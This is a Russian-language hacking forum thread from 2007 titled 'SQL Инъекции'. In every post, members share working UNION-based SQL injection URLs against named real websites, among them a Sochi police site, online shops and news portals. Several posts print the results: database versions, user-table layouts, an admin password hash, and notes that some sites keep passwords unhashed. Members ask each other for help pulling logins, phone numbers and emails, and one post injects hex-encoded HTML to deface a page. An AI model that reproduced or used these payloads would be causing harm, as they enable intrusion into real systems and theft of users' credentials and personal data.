SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Internet Society Belgium
    Code:
    http://www.isoc.be/news.php?ID=-1+union+select+concat(version(),0x3a,database(),0x3a,user())/*
    5.0.32-Debian_7etch1:isocbe:isoceccorg@localhost
    171 таблица:
    Code:
    http://www.isoc.be/news.php?ID=-1+union+select+table_name+from+information_schema.tables+limit+171,1/*
    Есть несколько интересных таблиц (cms_users, phpbb_users, tbllogins, tblusers, isoc_users, phpbb_nonsenseusers),
    но смог подобрать только одно поле username из таблицы tblusers.
     
    2 people like this.
  2. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    368
    Likes Received:
    460
    Reputations:
    93
    kubmarket.ru

    http://www.kubmarket.ru/news/view/?id=-1+union+select+1,2,concat(version(),0x2F,database(),0x2F,user()),4,5,6,7/*

    4.1.22/wwwkubmarketru/kubmarke@localhost



    http://www.kubmarket.ru/news/view/?id=-1+union+select+1,2,concat(userlogin,0x2F,userpassword,0x2F,useremail),4,5,6,7+from+users+limit+0,1/*

    логин/пароль/мейл не хеш.
     
  3. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    249
    Likes Received:
    258
    Reputations:
    83
    2 fRg
    http://www.isoc.be/news.php?ID=-1+union+select+column_name+from+information_schema.columns%20where%20table_name=CHAR(116,98,108,117,115,101,114,115)%20limit%202,1/*

    Не нужно ничего "подбирать" это пятая версия мускула, значит можно все увидеть :)
    При этом запросе мы видим что есть поле Paswoord (именно так 2 буквы "о").
    Аналогично смотрим другие таблицы и столбики в них.
     
  4. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    368
    Likes Received:
    460
    Reputations:
    93
    sexarea.ru

    http://www.sexarea.ru/news/detail.php?news=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3/*

    5.1.20-beta/sexarea_usexar11/sexarea_usexar11@localhost



    http://www.sexarea.ru/news/detail.php?news=-1+union+select+1,concat(username,0x2F,user_password,0x2F,user_icq),3+from+zf_users/*

    логин/хеш/уин
     
  5. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    196
    Likes Received:
    288
    Reputations:
    20
    Вот это совпало =) минуту назад хекал этоже
    Code:
    http://studyport.info/viewdetails.php?id=-1+union+select+1,concat(username,0x3a,passwd,0x3a,email),3,4,5,6,7,8,9,10,11,12,13,14,15+from+user+limit+101,1/*
    подобрал методом тыка :D
     
    2 people like this.
  6. sasTO

    sasTO Banned

    Joined:
    2 Aug 2007
    Messages:
    219
    Likes Received:
    230
    Reputations:
    14
    Код:

    http://www.livemusicdirect.co.uk/bands.php?band_id=-33+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user_id,0x3a,username,0x3a,password)+from+user_login+limit+684,1/*&start=0

    код:

    http://www.livemusicdirect.co.uk/bands.php?band_id=-33+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,user_id,status_id,surname,forename,tel,mobile,email,userType,pass)+from+user+limit+700,1/*&start=0
     
    2 people like this.
  7. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    368
    Likes Received:
    460
    Reputations:
    93
    rossoshweb.ru

    http://www.rossoshweb.ru/modules/news/news.php?id_news=-1+union+select+1,concat(version(),0x2F,database(),0x2F,user()),3,4,5,6,7,8,9,10/*

    5.0.45-log/u66116_2/u66116@10.10.223.237



    http://www.rossoshweb.ru/modules/news/news.php?id_news=-1+union+select+1,concat(username,0x2F,user_password),3,4,5,6,7,8,9,10+from+u66116.as_users+limit+1,1/*

    логин/хеш в <title>

    admin/21232f297a57a5a743894a0e4a801fc3

    --------------------------------------------------------------------

    http://www.chelnews.ru/auto/?newsid=-1+union+select+concat(version(),0x2F,database(),0x2F,user())/*

    4.0.27-standard-log/chelnews_main/chelnews_admin@localhost
     
    2 people like this.
  8. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    85
    Likes Received:
    64
    Reputations:
    7
    site: http://www.savage.ua/
    site: http://www.savage.ru/

    Code:
    http://savage.ua/news.php?target=news&id=994'+unIon+SeleCt+1,concat(table_schema,'.',table_name),3,4+from+information_schema.tables+limit+17,1/*
    savageua.buy
    savageua.news
    savageua.tech

    Code:
    http://savage.ua/news.php?target=news&id=994'+unIon+SeleCt+1,column_name,3,4+from+information_schema.columns+where+table_name='buy'+limit+8,1/*
    лёгкий прикол
    Code:
    http://savage.ua/news.php?target=news&id=994'+unIon+SeleCt+null,CONVERT(0x3c666f6e7420636f6c6f723d677265656e3e3c68313ed0a2d0b5d0bbd0bed0b3d180d0b5d0b9d0bad0b020416e7469636861743c2f68313e%20USING%20utf8),0x3c623e506f7765722062793c2f623e3c2f666f6e743e3c696d67207372633d687474703a2f2f666f72756d2e616e7469636861742e72752f616e7469636861742f7069632f7261632e6769663e,null/*
     
    3 people like this.
  9. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    megalab.it
    Code:
    http://www.megalab.it/news.php?id=-1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66/*
    В title: 5.0.37-log:megalab:megalabdb@localhost
    88 таблиц:
    Code:
    http://www.megalab.it/news.php?id=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66+from+information_schema.tables+limit+88,1/*
    Данные из таблицы phpbb_users в формате "логин:пасс:мыло:icq":
    Code:
    http://www.megalab.it/news.php?id=-1+union+select+1,2,concat(username,0x3a,user_password,0x3a,user_email,0x3a,user_icq),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66+from+phpbb_users+limit+0,1/*
     
    1 person likes this.
  10. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Официальный сайт УВД города-курорта Сочи:
    _http://suvd.ru/rozisk.php?id=-1'
    Вывода данных не нашёл, хотя количество полей определяется. На сайте несколько скулей.
    Вот ещё:
    _http://www.head.com/corporate/news.php?id=-1'
     
  11. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Центр международных исследований в Минске
    Code:
    http://www.cfis.by/news.php?id=-1+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5/*&lng=ru
    4.0.24_Debian-10sarge1-log:cfisby:cfisby@localhost
     
  12. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.templatesfree.ru
    Code:
    http://www.templatesfree.ru/templates.php?action=cards&id=-1+union+select+1,concat(version(),0x3a,database(),0x3a,user())/*
    5.0.27-standard:eldar07_tmpfree:eldar07@localhost
    30 таблиц:
    Code:
    http://www.templatesfree.ru/templates.php?action=cards&id=-1+union+select+1,table_name+from+information_schema.tables+limit+30,1/*
    но только таблицы с юзверями я не нашёл... :(
     
  13. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    196
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://fotoway.info/docs.php?id=-1'+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10/*
    forumphpbb@localhost:4.1.19:forumphpbb
    Code:
    http://fotoway.info/docs.php?id=-1'+union+select+1,2,concat(username,0x3a,user_password,0x3a,user_email,0x3a,user_icq),4,5,6,7,8,9,10+from+phpbb_users+limit+0,1/*
    Code:
    http://www.zlatoust.info/firms.phtml?inf=show&id=-1+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8,9,10,11,12,13/*
    zlatoustinfo@81.177.16.31:4.1.21:zlatoustinfo
    Code:
    http://www.zlatoust.info/firms.phtml?inf=show&id=-1+union+select+1,2,3,4,5,6,concat(username,0x3a,user_password,0x3a,user_email,0x3a,user_icq),8,9,10,11,12,13+from+phpbb_users+limit+0,1/*
     
  14. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.doctor-al.ru
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6,7/*&type=article
    5.0.24a:doctor_al_ru:doctor_al_ru@localhost
    60 таблиц:
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables+limit+60,1/*&type=article
    Таблица shop_users:
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(login,0x3a,name,0x3a,password,0x3a,phone,0x3a,email),5,6,7+from+shop_users+limit+0,1/*&type=article
    данные в формате: "логин:имя:пасс:телефон:мыло".
    Есть таблица users, но данные из неё достать не получается. Подскажите, буду благодарен...
    В таблице users есть поля login, password, tel, tel_2, full_name, email, email_2, icq
     
  15. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    583
    Likes Received:
    130
    Reputations:
    -13
    Не стал дальше шарить.Чистно случайно наткнулси на сайД.
     
    4 people like this.
  16. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    196
    Likes Received:
    288
    Reputations:
    20
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,table_schema,5,6,7+from+information_schema.tables+where+table_name=char(117,115,101,114,115)+limit+0,1/*
    allergic_ru.users
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,column_name,5,6,7+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+table_schema=char(97,108,108,101,114,103,105,99,95,114,117)+limit+0,1/*
    id, дальше работай лимитом
    аналогично для mega_magazin_ru.users
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,column_name,5,6,7+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+table_schema=char(109,101,103,97,95,109,97,103,97,122,105,110,95,114,117)+limit+0,1/*
    Итого:
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(login,0x3a,password,0x3a,email,0x3a,icq),5,6,7+from+allergic_ru.users+limit+0,1/*
    и
    Code:
    http://www.doctor-al.ru/get_news.php?news_id=-1+union+select+1,2,3,concat(login,0x3a,password,0x3a,email,0x3a,icq),5,6,7+from+mega_magazin_ru.users+limit+0,1/*
     
    #3396 Maxyks, 24 Oct 2007
    Last edited: 24 Oct 2007
    4 people like this.
  17. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    630
    Likes Received:
    485
    Reputations:
    176
    http://www.vaal.ru/show.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11/*
     
    3 people like this.
  18. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    www.uralmir.ru
    Code:
    http://www.uralmir.ru/articles.php?id=-1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8,9/*
    4.1.21-log:uralmirr_main:uralmirr_main@localhost
     
    1 person likes this.
  19. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    506
    Likes Received:
    533
    Reputations:
    158
    uitpers.be
    Code:
    http://www.uitpers.be/artikel_view.php?id=348+union+select+1,2,3,4,concat(user(),0x3a,database(),0x3a,version()),6,7/*
    roxo.kiev.ua
    Code:
    http://roxo.kiev.ua/showarticle.php?id=348+union+select+1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,6/*
    Пркольная защита =) ...
    http://www.untp.kiev.ua/index.php?id=348'
     
    2 people like this.
  20. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    506
    Likes Received:
    533
    Reputations:
    158
    Магазин цифровой техники vcam.ru
    Code:
    http://vcam.ru/goods.php?id=-472+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12/*
    таблицы не нашел... =(
     
    2 people like this.
Loading...
Thread Status:
Not open for further replies.